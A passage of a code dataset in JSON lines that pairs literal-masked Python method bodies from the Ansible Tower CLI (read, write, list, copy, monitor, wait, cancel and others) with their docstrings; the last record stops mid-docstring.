{"signature": "def read(self, pk=None, fail_on_no_results=False, fail_on_multiple_results=False, **kwargs):", "body": "<EOL>url = self.endpoint<EOL>if pk:<EOL><INDENT>url += '<STR_LIT>' % pk<EOL><DEDENT>queries = kwargs.pop('<STR_LIT>', [])<EOL>self._pop_none(kwargs)<EOL>for field in self.fields:<EOL><INDENT>if field.no_lookup and field.name in kwargs:<EOL><INDENT>kwargs.pop(field.name)<EOL><DEDENT><DEDENT>params = list(kwargs.items())<EOL>for query in queries:<EOL><INDENT>params.append((query[<NUM_LIT:0>], query[<NUM_LIT:1>]))<EOL><DEDENT>r = client.get(url, params=params)<EOL>resp = r.json()<EOL>if pk:<EOL><INDENT>return {'<STR_LIT:count>': <NUM_LIT:1>, '<STR_LIT>': [resp]}<EOL><DEDENT>if fail_on_no_results and resp['<STR_LIT:count>'] == <NUM_LIT:0>:<EOL><INDENT>raise exc.NotFound('<STR_LIT>')<EOL><DEDENT>if fail_on_multiple_results and resp['<STR_LIT:count>'] >= <NUM_LIT:2>:<EOL><INDENT>raise exc.MultipleResults('<STR_LIT>'<EOL>'<STR_LIT>' % resp['<STR_LIT:count>'])<EOL><DEDENT>return resp<EOL>", "docstring": "=====API DOCS=====\nRetrieve and return objects from the Ansible Tower API.\n\n:param pk: Primary key of the resource to be read. Tower CLI will only attempt to read that object\n           if ``pk`` is provided (not ``None``).\n:type pk: int\n:param fail_on_no_results: Flag that if set, zero results is considered a failure case and raises\n                           an exception; otherwise, empty list is returned. (Note: This is always True\n                           if a primary key is included.)\n:type fail_on_no_results: bool\n:param fail_on_multiple_results: Flag that if set, at most one result is expected, and more results\n                                 constitutes a failure case. (Note: This is meaningless if a primary\n                                 key is included, as there can never be multiple results.)\n:type fail_on_multiple_results: bool\n:param query: Contains 2-tuples used as query parameters to filter resulting resource objects.\n:type query: list\n:param `**kwargs`: Keyword arguments which, all together, will be used as query parameters to filter\n                   resulting resource objects.\n:returns: loaded JSON from Tower backend response body.\n:rtype: dict\n:raises tower_cli.exceptions.BadRequest: When 2-tuples in ``query`` overlaps key-value pairs in\n                                         ``**kwargs``.\n:raises tower_cli.exceptions.NotFound: When no objects are found and ``fail_on_no_results`` flag is on.\n:raises tower_cli.exceptions.MultipleResults: When multiple objects are found and\n                                              ``fail_on_multiple_results`` flag is on.\n\n=====API DOCS=====", "id": "f3329:c1:m3"}
{"signature": "def _get_patch_url(self, url, pk):", "body": "return url + '<STR_LIT>' % pk<EOL>", "docstring": "Overwrite this method to handle specific corner cases to the url passed to PATCH method.", "id": "f3329:c1:m4"}
{"signature": "def write(self, pk=None, create_on_missing=False, fail_on_found=False, force_on_exists=True, **kwargs):", "body": "existing_data = {}<EOL>self._pop_none(kwargs)<EOL>if not pk:<EOL><INDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>existing_data = self._lookup(<EOL>fail_on_found=fail_on_found, fail_on_missing=not create_on_missing, include_debug_header=False,<EOL>**kwargs<EOL>)<EOL>if existing_data:<EOL><INDENT>pk = existing_data['<STR_LIT:id>']<EOL><DEDENT><DEDENT>else:<EOL><INDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>existing_data = self.get(pk)<EOL><DEDENT>missing_fields = []<EOL>for i in self.fields:<EOL><INDENT>if i.key not in kwargs and i.name not in kwargs and i.required:<EOL><INDENT>missing_fields.append(i.key or i.name)<EOL><DEDENT><DEDENT>if missing_fields and not pk:<EOL><INDENT>raise exc.BadRequest('<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join(missing_fields).replace('<STR_LIT:_>', '<STR_LIT:->'))<EOL><DEDENT>if pk and not force_on_exists:<EOL><INDENT>debug.log('<STR_LIT>', header='<STR_LIT>', nl=<NUM_LIT:2>)<EOL>answer = OrderedDict((('<STR_LIT>', False), ('<STR_LIT:id>', pk)))<EOL>answer.update(existing_data)<EOL>return answer<EOL><DEDENT>if all([kwargs[k] == existing_data.get(k, None) for k in kwargs.keys()]):<EOL><INDENT>debug.log('<STR_LIT>', header='<STR_LIT>', nl=<NUM_LIT:2>)<EOL>answer = OrderedDict((('<STR_LIT>', False), ('<STR_LIT:id>', pk)))<EOL>answer.update(existing_data)<EOL>return answer<EOL><DEDENT>for key in kwargs:<EOL><INDENT>if kwargs[key] == '<STR_LIT:null>':<EOL><INDENT>kwargs[key] = None<EOL><DEDENT><DEDENT>url = self.endpoint<EOL>method = '<STR_LIT:POST>'<EOL>if pk:<EOL><INDENT>url = self._get_patch_url(url, pk)<EOL>method = '<STR_LIT>'<EOL><DEDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>r = getattr(client, method.lower())(url, data=kwargs)<EOL>answer = OrderedDict((('<STR_LIT>', True), ('<STR_LIT:id>', r.json()['<STR_LIT:id>'])))<EOL>answer.update(r.json())<EOL>return answer<EOL>", "docstring": "=====API DOCS=====\nModify the given object using the Ansible Tower API.\n\n:param pk: Primary key of the resource to be read. Tower CLI will only attempt to read that object\n           if ``pk`` is provided (not ``None``).\n:type pk: int\n:param create_on_missing: Flag that if set, a new object is created if ``pk`` is not set and objects\n                          matching the appropriate unique criteria is not found.\n:type create_on_missing: bool\n:param fail_on_found: Flag that if set, the operation fails if an object matching the unique criteria\n                      already exists.\n:type fail_on_found: bool\n:param force_on_exists: Flag that if set, then if an object is modified based on matching via unique\n                        fields (as opposed to the primary key), other fields are updated based on data\n                        sent; If unset, then the non-unique values are only written in a creation case.\n:type force_on_exists: bool\n:param `**kwargs`: Keyword arguments which, all together, will be used as POST/PATCH body to create/modify\n                   the resource object. if ``pk`` is not set, key-value pairs of ``**kwargs`` which are\n                   also in resource's identity will be used to lookup existing reosource.\n:returns: A dictionary combining the JSON output of the resource, as well as two extra fields: \"changed\",\n          a flag indicating if the resource is created or successfully updated; \"id\", an integer which\n          is the primary key of the specified object.\n:rtype: dict\n:raises tower_cli.exceptions.BadRequest: When required fields are missing in ``**kwargs`` when creating\n                                         a new resource object.\n\n=====API DOCS=====", "id": "f3329:c1:m5"}
{"signature": "@resources.command<EOL><INDENT>def delete(self, pk=None, fail_on_missing=False, **kwargs):<DEDENT>", "body": "<EOL>if not pk:<EOL><INDENT>existing_data = self._lookup(fail_on_missing=fail_on_missing, **kwargs)<EOL>if not existing_data:<EOL><INDENT>return {'<STR_LIT>': False}<EOL><DEDENT>pk = existing_data['<STR_LIT:id>']<EOL><DEDENT>url = '<STR_LIT>' % (self.endpoint, pk)<EOL>debug.log('<STR_LIT>' % url, fg='<STR_LIT>', bold=True)<EOL>try:<EOL><INDENT>client.delete(url)<EOL>return {'<STR_LIT>': True}<EOL><DEDENT>except exc.NotFound:<EOL><INDENT>if fail_on_missing:<EOL><INDENT>raise<EOL><DEDENT>return {'<STR_LIT>': False}<EOL><DEDENT>", "docstring": "Remove the given object.\n\n        If `fail_on_missing` is True, then the object's not being found is considered a failure; otherwise,\n        a success with no change is reported.\n\n        =====API DOCS=====\n        Remove the given object.\n\n        :param pk: Primary key of the resource to be deleted.\n        :type pk: int\n        :param fail_on_missing: Flag that if set, the object's not being found is considered a failure; otherwise,\n                                a success with no change is reported.\n        :type fail_on_missing: bool\n        :param `**kwargs`: Keyword arguments used to look up resource object to delete if ``pk`` is not provided.\n        :returns: dictionary of only one field \"changed\", which is a flag indicating whether the specified resource\n                  is successfully deleted.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3329:c1:m6"}
{"signature": "@resources.command(ignore_defaults=True)<EOL><INDENT>def get(self, pk=None, **kwargs):<DEDENT>", "body": "if kwargs.pop('<STR_LIT>', True):<EOL><INDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL><DEDENT>response = self.read(pk=pk, fail_on_no_results=True, fail_on_multiple_results=True, **kwargs)<EOL>return response['<STR_LIT>'][<NUM_LIT:0>]<EOL>", "docstring": "Return one and exactly one object.\n\n        Lookups may be through a primary key, specified as a positional argument, and/or through filters specified\n        through keyword arguments.\n\n        If the number of results does not equal one, raise an exception.\n\n        =====API DOCS=====\n        Retrieve one and exactly one object.\n\n        :param pk: Primary key of the resource to be read. Tower CLI will only attempt to read *that* object\n                   if ``pk`` is provided (not ``None``).\n        :type pk: int\n        :param `**kwargs`: Keyword arguments used to look up resource object to retrieve if ``pk`` is not provided.\n        :returns: loaded JSON of the retrieved resource object.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3329:c1:m7"}
{"signature": "@resources.command(ignore_defaults=True, no_args_is_help=False)<EOL><INDENT>@click.option('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', is_flag=True, default=False, show_default=True,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', default=<NUM_LIT:1>, type=int, show_default=True,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=int, show_default=True, required=False,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', required=False, nargs=<NUM_LIT:2>, multiple=True,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def list(self, all_pages=False, **kwargs):<DEDENT>", "body": "<EOL>if kwargs.get('<STR_LIT:status>', None) and '<STR_LIT:U+002C>' in kwargs['<STR_LIT:status>']:<EOL><INDENT>all_status = kwargs.pop('<STR_LIT:status>').strip('<STR_LIT:U+002C>').split('<STR_LIT:U+002C>')<EOL>queries = list(kwargs.pop('<STR_LIT>', ()))<EOL>for status in all_status:<EOL><INDENT>if status in STATUS_CHOICES:<EOL><INDENT>queries.append(('<STR_LIT>', status))<EOL><DEDENT>else:<EOL><INDENT>raise exc.TowerCLIError('<STR_LIT>'.format(status))<EOL><DEDENT><DEDENT>kwargs['<STR_LIT>'] = tuple(queries)<EOL><DEDENT>if all_pages:<EOL><INDENT>kwargs.pop('<STR_LIT>', None)<EOL>kwargs.pop('<STR_LIT>', None)<EOL><DEDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>response = self.read(**kwargs)<EOL>self._convert_pagenum(response)<EOL>if all_pages and response['<STR_LIT>']:<EOL><INDENT>cursor = copy(response)<EOL>while cursor['<STR_LIT>']:<EOL><INDENT>cursor = self.read(**dict(kwargs, page=cursor['<STR_LIT>']))<EOL>self._convert_pagenum(cursor)<EOL>response['<STR_LIT>'] += cursor['<STR_LIT>']<EOL>response['<STR_LIT:count>'] += cursor['<STR_LIT:count>']<EOL><DEDENT>response['<STR_LIT>'] = None<EOL><DEDENT>return response<EOL>", "docstring": "Return a list of objects.\n\n        If one or more filters are provided through keyword arguments, filter the results accordingly.\n\n        If no filters are provided, return all results.\n\n        =====API DOCS=====\n        Retrieve a list of objects.\n\n        :param all_pages: Flag that if set, collect all pages of content from the API when returning results.\n        :type all_pages: bool\n        :param page: The page to show. Ignored if all_pages is set.\n        :type page: int\n        :param query: Contains 2-tuples used as query parameters to filter resulting resource objects.\n        :type query: list\n        :param `**kwargs`: Keyword arguments list of available fields used for searching resource objects.\n        :returns: A JSON object containing details of all resource objects returned by Tower backend.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3329:c1:m8"}
{"signature": "def _assoc(self, url_fragment, me, other):", "body": "<EOL>url = self.endpoint + '<STR_LIT>' % (me, url_fragment)<EOL>r = client.get(url, params={'<STR_LIT:id>': other}).json()<EOL>if r['<STR_LIT:count>'] > <NUM_LIT:0>:<EOL><INDENT>return {'<STR_LIT>': False}<EOL><DEDENT>r = client.post(url, data={'<STR_LIT>': True, '<STR_LIT:id>': other})<EOL>return {'<STR_LIT>': True}<EOL>", "docstring": "Associate the `other` record with the `me` record.", "id": "f3329:c1:m9"}
{"signature": "def _disassoc(self, url_fragment, me, other):", "body": "<EOL>url = self.endpoint + '<STR_LIT>' % (me, url_fragment)<EOL>r = client.get(url, params={'<STR_LIT:id>': other}).json()<EOL>if r['<STR_LIT:count>'] == <NUM_LIT:0>:<EOL><INDENT>return {'<STR_LIT>': False}<EOL><DEDENT>r = client.post(url, data={'<STR_LIT>': True, '<STR_LIT:id>': other})<EOL>return {'<STR_LIT>': True}<EOL>", "docstring": "Disassociate the `other` record from the `me` record.", "id": "f3329:c1:m10"}
{"signature": "@resources.command<EOL><INDENT>@click.option('<STR_LIT>', default=False, show_default=True, type=bool, is_flag=True,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', default=False, show_default=True, type=bool, is_flag=True,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def create(self, **kwargs):<DEDENT>", "body": "return self.write(create_on_missing=True, **kwargs)<EOL>", "docstring": "Create an object.\n\n        Fields in the resource's `identity` tuple are used for a lookup; if a match is found, then no-op\n        (unless `force_on_exists` is set) but do not fail (unless `fail_on_found` is set).\n\n        =====API DOCS=====\n        Create an object.\n\n        :param fail_on_found: Flag that if set, the operation fails if an object matching the unique criteria\n                              already exists.\n        :type fail_on_found: bool\n        :param force_on_exists: Flag that if set, then if a match is found on unique fields, other fields will\n                                be updated to the provided values.; If unset, a match causes the request to be\n                                a no-op.\n        :type force_on_exists: bool\n        :param `**kwargs`: Keyword arguments which, all together, will be used as POST body to create the\n                           resource object.\n        :returns: A dictionary combining the JSON output of the created resource, as well as two extra fields:\n                  \"changed\", a flag indicating if the resource is created successfully; \"id\", an integer which\n                  is the primary key of the created object.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3329:c2:m0"}
{"signature": "@resources.command(ignore_defaults=True)<EOL><INDENT>@click.option('<STR_LIT>', default=None,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def copy(self, pk=None, new_name=None, **kwargs):<DEDENT>", "body": "orig = self.read(pk, fail_on_no_results=True, fail_on_multiple_results=True)<EOL>orig = orig['<STR_LIT>'][<NUM_LIT:0>]<EOL>self._pop_none(kwargs)<EOL>newresource = copy(orig)<EOL>newresource.pop('<STR_LIT:id>')<EOL>basename = newresource['<STR_LIT:name>'].split('<STR_LIT:@>', <NUM_LIT:1>)[<NUM_LIT:0>].strip()<EOL>for field in self.fields:<EOL><INDENT>if field.multiple and field.name in newresource:<EOL><INDENT>newresource[field.name] = (newresource.get(field.name),)<EOL><DEDENT><DEDENT>if new_name is None:<EOL><INDENT>newresource['<STR_LIT:name>'] = \"<STR_LIT>\" % (basename, time.strftime('<STR_LIT>'))<EOL>newresource.update(kwargs)<EOL>return self.write(create_on_missing=True, fail_on_found=True,<EOL>**newresource)<EOL><DEDENT>else:<EOL><INDENT>if kwargs:<EOL><INDENT>raise exc.TowerCLIError('<STR_LIT>'.format(kwargs.keys()))<EOL><DEDENT>copy_endpoint = '<STR_LIT>'.format(self.endpoint.strip('<STR_LIT:/>'), pk)<EOL>return client.post(copy_endpoint, data={'<STR_LIT:name>': new_name}).json()<EOL><DEDENT>", "docstring": "Copy an object.\n\n        Only the ID is used for the lookup. All provided fields are used to override the old data from the\n        copied resource.\n\n        =====API DOCS=====\n        Copy an object.\n\n        :param pk: Primary key of the resource object to be copied\n        :param new_name: The new name to give the resource if deep copying via the API\n        :type pk: int\n        :param `**kwargs`: Keyword arguments of fields whose given value will override the original value.\n        :returns: loaded JSON of the copied new resource object.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3329:c2:m1"}
{"signature": "@resources.command(ignore_defaults=True)<EOL><INDENT>@click.option('<STR_LIT>', default=False, show_default=True, type=bool, is_flag=True,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def modify(self, pk=None, create_on_missing=False, **kwargs):<DEDENT>", "body": "return self.write(pk, create_on_missing=create_on_missing, force_on_exists=True, **kwargs)<EOL>", "docstring": "Modify an already existing object.\n\n        Fields in the resource's `identity` tuple can be used in lieu of a primary key for a lookup; in such a case,\n        only other fields are written.\n\n        To modify unique fields, you must use the primary key for the lookup.\n\n        =====API DOCS=====\n        Modify an already existing object.\n\n        :param pk: Primary key of the resource to be modified.\n        :type pk: int\n        :param create_on_missing: Flag that if set, a new object is created if ``pk`` is not set and objects\n                                  matching the appropriate unique criteria is not found.\n        :type create_on_missing: bool\n        :param `**kwargs`: Keyword arguments which, all together, will be used as PATCH body to modify the\n                           resource object. if ``pk`` is not set, key-value pairs of ``**kwargs`` which are\n                           also in resource's identity will be used to lookup existing reosource.\n        :returns: A dictionary combining the JSON output of the modified resource, as well as two extra fields:\n                  \"changed\", a flag indicating if the resource is successfully updated; \"id\", an integer which\n                  is the primary key of the updated object.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3329:c2:m2"}
{"signature": "def status(self, pk, detail=False):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "A stub method requesting the status of the resource.", "id": "f3329:c4:m1"}
{"signature": "def last_job_data(self, pk=None, **kwargs):", "body": "ujt = self.get(pk, include_debug_header=True, **kwargs)<EOL>if '<STR_LIT>' in ujt['<STR_LIT>']:<EOL><INDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>return client.get(ujt['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:7>:]).json()<EOL><DEDENT>elif ujt['<STR_LIT>'].get('<STR_LIT>', None):<EOL><INDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>return client.get(ujt['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:7>:]).json()<EOL><DEDENT>else:<EOL><INDENT>raise exc.NotFound('<STR_LIT>')<EOL><DEDENT>", "docstring": "Internal utility function for Unified Job Templates. Returns data about the last job run off of that UJT", "id": "f3329:c4:m2"}
{"signature": "def lookup_stdout(self, pk=None, start_line=None, end_line=None, full=True):", "body": "stdout_url = '<STR_LIT>' % (self.unified_job_type, pk)<EOL>payload = {'<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT>'}<EOL>if start_line:<EOL><INDENT>payload['<STR_LIT>'] = start_line<EOL><DEDENT>if end_line:<EOL><INDENT>payload['<STR_LIT>'] = end_line<EOL><DEDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>resp = client.get(stdout_url, params=payload).json()<EOL>content = b64decode(resp['<STR_LIT:content>'])<EOL>return content.decode('<STR_LIT:utf-8>', '<STR_LIT:replace>')<EOL>", "docstring": "Internal utility function to return standard out. Requires the pk of a unified job.", "id": "f3329:c4:m3"}
{"signature": "@resources.command<EOL><INDENT>@click.option('<STR_LIT>', required=False, type=int, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, type=int, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, type=str, help='<STR_LIT>')<EOL>def stdout(self, pk, start_line=None, end_line=None, outfile=sys.stdout, **kwargs):<DEDENT>", "body": "<EOL>if self.unified_job_type != self.endpoint:<EOL><INDENT>unified_job = self.last_job_data(pk, **kwargs)<EOL>pk = unified_job['<STR_LIT:id>']<EOL><DEDENT>elif not pk:<EOL><INDENT>unified_job = self.get(**kwargs)<EOL>pk = unified_job['<STR_LIT:id>']<EOL><DEDENT>content = self.lookup_stdout(pk, start_line, end_line)<EOL>opened = False<EOL>if isinstance(outfile, six.string_types):<EOL><INDENT>outfile = open(outfile, '<STR_LIT:w>')<EOL>opened = True<EOL><DEDENT>if len(content) > <NUM_LIT:0>:<EOL><INDENT>click.echo(content, nl=<NUM_LIT:1>, file=outfile)<EOL><DEDENT>if opened:<EOL><INDENT>outfile.close()<EOL><DEDENT>return {\"<STR_LIT>\": False}<EOL>", "docstring": "Print out the standard out of a unified job to the command line or output file.\nFor Projects, print the standard out of most recent update.\nFor Inventory Sources, print standard out of most recent sync.\nFor Jobs, print the job's standard out.\nFor Workflow Jobs, print a status table of its jobs.\n\n=====API DOCS=====\nPrint out the standard out of a unified job to the command line or output file.\nFor Projects, print the standard out of most recent update.\nFor Inventory Sources, print standard out of most recent sync.\nFor Jobs, print the job's standard out.\nFor Workflow Jobs, print a status table of its jobs.\n\n:param pk: Primary key of the job resource object to be monitored.\n:type pk: int\n:param start_line: Line at which to start printing job output\n:param end_line: Line at which to end printing job output\n:param outfile: Alternative file than stdout to write job stdout to.\n:type outfile: file\n:param `**kwargs`: Keyword arguments used to look up job resource object to monitor if ``pk`` is\n                   not provided.\n:returns: A dictionary containing changed=False\n:rtype: dict\n\n=====API DOCS=====", "id": "f3329:c4:m4"}
{"signature": "@resources.command<EOL><INDENT>@click.option('<STR_LIT>', default=<NUM_LIT>, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, type=int,<EOL>help='<STR_LIT>')<EOL>def monitor(self, pk, parent_pk=None, timeout=None, interval=<NUM_LIT:0.5>, outfile=sys.stdout, **kwargs):<DEDENT>", "body": "<EOL>if pk is None:<EOL><INDENT>pk = self.last_job_data(parent_pk, **kwargs)['<STR_LIT:id>']<EOL><DEDENT>job_endpoint = '<STR_LIT>' % (self.unified_job_type, pk)<EOL>self.wait(pk, exit_on=['<STR_LIT>', '<STR_LIT>'], outfile=outfile)<EOL>start = time.time()<EOL>start_line = <NUM_LIT:0><EOL>result = client.get(job_endpoint).json()<EOL>click.echo('<STR_LIT>', nl=<NUM_LIT:2>, file=outfile)<EOL>while not result['<STR_LIT>'] and result['<STR_LIT:status>'] != '<STR_LIT>':<EOL><INDENT>result = client.get(job_endpoint).json()<EOL>time.sleep(interval)<EOL>content = self.lookup_stdout(pk, start_line, full=False)<EOL>if not content.startswith(\"<STR_LIT>\"):<EOL><INDENT>line_count = len(content.splitlines())<EOL>start_line += line_count<EOL>click.echo(content, nl=<NUM_LIT:0>, file=outfile)<EOL><DEDENT>if timeout and time.time() - start > timeout:<EOL><INDENT>raise exc.Timeout('<STR_LIT>')<EOL><DEDENT><DEDENT>if self.endpoint == '<STR_LIT>':<EOL><INDENT>click.echo(self.lookup_stdout(pk, start_line, full=True), nl=<NUM_LIT:1>)<EOL><DEDENT>click.echo('<STR_LIT>', nl=<NUM_LIT:2>, file=outfile)<EOL>if result['<STR_LIT>']:<EOL><INDENT>raise exc.JobFailure('<STR_LIT>')<EOL><DEDENT>answer = OrderedDict((('<STR_LIT>', True), ('<STR_LIT:id>', pk)))<EOL>answer.update(result)<EOL>if parent_pk:<EOL><INDENT>answer['<STR_LIT:id>'] = parent_pk<EOL><DEDENT>else:<EOL><INDENT>answer['<STR_LIT:id>'] = pk<EOL><DEDENT>return answer<EOL>", "docstring": "Stream the standard output from a job, project update, or inventory udpate.\n\n=====API DOCS=====\nStream the standard output from a job run to stdout.\n\n:param pk: Primary key of the job resource object to be monitored.\n:type pk: int\n:param parent_pk: Primary key of the unified job template resource object whose latest job run will be\n                  monitored if ``pk`` is not set.\n:type parent_pk: int\n:param timeout: Number in seconds after which this method will time out.\n:type timeout: float\n:param interval: Polling interval to refresh content from Tower.\n:type interval: float\n:param outfile: Alternative file than stdout to write job stdout to.\n:type outfile: file\n:param `**kwargs`: Keyword arguments used to look up job resource object to monitor if ``pk`` is\n                   not provided.\n:returns: A dictionary combining the JSON output of the finished job resource object, as well as\n          two extra fields: \"changed\", a flag indicating if the job resource object is finished\n          as expected; \"id\", an integer which is the primary key of the job resource object being\n          monitored.\n:rtype: dict\n:raises tower_cli.exceptions.Timeout: When monitor time reaches time out.\n:raises tower_cli.exceptions.JobFailure: When the job being monitored runs into failure.\n\n=====API DOCS=====", "id": "f3329:c4:m5"}
{"signature": "@resources.command<EOL><INDENT>@click.option('<STR_LIT>', default=<NUM_LIT:1>, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', default=<NUM_LIT:30>, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, type=int,<EOL>help='<STR_LIT>')<EOL>def wait(self, pk, parent_pk=None, min_interval=<NUM_LIT:1>, max_interval=<NUM_LIT:30>, timeout=None, outfile=sys.stdout,<EOL>exit_on=['<STR_LIT>'], **kwargs):<DEDENT>", "body": "<EOL>if pk is None:<EOL><INDENT>pk = self.last_job_data(parent_pk, **kwargs)['<STR_LIT:id>']<EOL><DEDENT>job_endpoint = '<STR_LIT>' % (self.unified_job_type, pk)<EOL>dots = itertools.cycle([<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>])<EOL>longest_string = <NUM_LIT:0><EOL>interval = min_interval<EOL>start = time.time()<EOL>result = client.get(job_endpoint).json()<EOL>last_poll = time.time()<EOL>timeout_check = <NUM_LIT:0><EOL>while result['<STR_LIT:status>'] not in exit_on:<EOL><INDENT>if result['<STR_LIT>']:<EOL><INDENT>if is_tty(outfile) and not settings.verbose:<EOL><INDENT>secho('<STR_LIT:\\r>' + '<STR_LIT:U+0020>' * longest_string + '<STR_LIT:\\n>', file=outfile)<EOL><DEDENT>raise exc.JobFailure('<STR_LIT>')<EOL><DEDENT>if timeout and timeout_check - start > timeout:<EOL><INDENT>raise exc.Timeout('<STR_LIT>')<EOL><DEDENT>output = '<STR_LIT>' % (result['<STR_LIT:status>'], '<STR_LIT:.>' * next(dots))<EOL>if longest_string > len(output):<EOL><INDENT>output += '<STR_LIT:U+0020>' * (longest_string - len(output))<EOL><DEDENT>else:<EOL><INDENT>longest_string = len(output)<EOL><DEDENT>if is_tty(outfile) and not settings.verbose:<EOL><INDENT>secho(output, nl=False, file=outfile)<EOL><DEDENT>time.sleep(<NUM_LIT>)<EOL>timeout_check = time.time()<EOL>if timeout and timeout_check - start > timeout:<EOL><INDENT>last_poll -= interval<EOL><DEDENT>if time.time() - last_poll > interval:<EOL><INDENT>result = client.get(job_endpoint).json()<EOL>last_poll = time.time()<EOL>interval = min(interval * <NUM_LIT>, max_interval)<EOL>if not is_tty(outfile) or settings.verbose:<EOL><INDENT>click.echo('<STR_LIT>' % result['<STR_LIT:status>'], file=outfile)<EOL><DEDENT><DEDENT>if is_tty(outfile) and not settings.verbose:<EOL><INDENT>secho('<STR_LIT:\\r>' + '<STR_LIT:U+0020>' * longest_string, file=outfile, nl=False)<EOL>secho('<STR_LIT:\\r>', file=outfile, nl=False)<EOL><DEDENT><DEDENT>answer = OrderedDict((('<STR_LIT>', True), ('<STR_LIT:id>', pk)))<EOL>answer.update(result)<EOL>if parent_pk:<EOL><INDENT>answer['<STR_LIT:id>'] = parent_pk<EOL><DEDENT>else:<EOL><INDENT>answer['<STR_LIT:id>'] = pk<EOL><DEDENT>return answer<EOL>", "docstring": "Wait for a running job to finish. Blocks further input until the job completes (whether successfully\nor unsuccessfully) and a final status can be given.\n\n=====API DOCS=====\nWait for a job resource object to enter certain status.\n\n:param pk: Primary key of the job resource object to wait.\n:type pk: int\n:param parent_pk: Primary key of the unified job template resource object whose latest job run will be\n                  waited if ``pk`` is not set.\n:type parent_pk: int\n:param timeout: Number in seconds after which this method will time out.\n:type timeout: float\n:param min_interval: Minimum polling interval to request an update from Tower.\n:type min_interval: float\n:param max_interval: Maximum polling interval to request an update from Tower.\n:type max_interval: float\n:param outfile: Alternative file than stdout to write job status updates on.\n:type outfile: file\n:param exit_on: Job resource object statuses to wait on.\n:type exit_on: array\n:param `**kwargs`: Keyword arguments used to look up job resource object to wait if ``pk`` is\n                   not provided.\n:returns: A dictionary combining the JSON output of the status-changed job resource object, as well\n          as two extra fields: \"changed\", a flag indicating if the job resource object is status-changed\n          as expected; \"id\", an integer which is the primary key of the job resource object being\n          status-changed.\n:rtype: dict\n:raises tower_cli.exceptions.Timeout: When wait time reaches time out.\n:raises tower_cli.exceptions.JobFailure: When the job being waited on runs into failure.\n=====API DOCS=====", "id": "f3329:c4:m6"}
{"signature": "@resources.command<EOL><INDENT>@click.option('<STR_LIT>', is_flag=True, default=False, help='<STR_LIT>')<EOL>def status(self, pk=None, detail=False, **kwargs):<DEDENT>", "body": "<EOL>self._pop_none(kwargs)<EOL>if not pk:<EOL><INDENT>job = self.get(include_debug_header=True, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>finished_endpoint = '<STR_LIT>' % (self.endpoint, pk)<EOL>job = client.get(finished_endpoint).json()<EOL><DEDENT>if detail:<EOL><INDENT>return job<EOL><DEDENT>return {<EOL>'<STR_LIT>': job['<STR_LIT>'],<EOL>'<STR_LIT>': job['<STR_LIT>'],<EOL>'<STR_LIT:status>': job['<STR_LIT:status>'],<EOL>}<EOL>", "docstring": "Print the current job status. This is used to check a running job. You can look up the job with\n        the same parameters used for a get request.\n\n        =====API DOCS=====\n        Retrieve the current job status.\n\n        :param pk: Primary key of the resource to retrieve status from.\n        :type pk: int\n        :param detail: Flag that if set, return the full JSON of the job resource rather than a status summary.\n        :type detail: bool\n        :param `**kwargs`: Keyword arguments used to look up resource object to retrieve status from if ``pk``\n                           is not provided.\n        :returns: full loaded JSON of the specified unified job if ``detail`` flag is on; trimed JSON containing\n                  only \"elapsed\", \"failed\" and \"status\" fields of the unified job if ``detail`` flag is off.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3329:c5:m0"}
{"signature": "@resources.command<EOL><INDENT>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>def cancel(self, pk=None, fail_if_not_running=False, **kwargs):<DEDENT>", "body": "<EOL>if not pk:<EOL><INDENT>existing_data = self.get(**kwargs)<EOL>pk = existing_data['<STR_LIT:id>']<EOL><DEDENT>cancel_endpoint = '<STR_LIT>' % (self.endpoint, pk)<EOL>try:<EOL><INDENT>client.post(cancel_endpoint)<EOL>changed = True<EOL><DEDENT>except exc.MethodNotAllowed:<EOL><INDENT>changed = False<EOL>if fail_if_not_running:<EOL><INDENT>raise exc.TowerCLIError('<STR_LIT>')<EOL><DEDENT><DEDENT>return {'<STR_LIT:status>': '<STR_LIT>', '<STR_LIT>': changed}<EOL>", "docstring": "Cancel a currently running job.\n\n        Fails with a non-zero exit status if the job cannot be canceled.\n        You must provide either a pk or parameters in the job's identity.\n\n        =====API DOCS=====\n        Cancel a currently running job.\n\n        :param pk: Primary key of the job resource to restart.\n        :type pk: 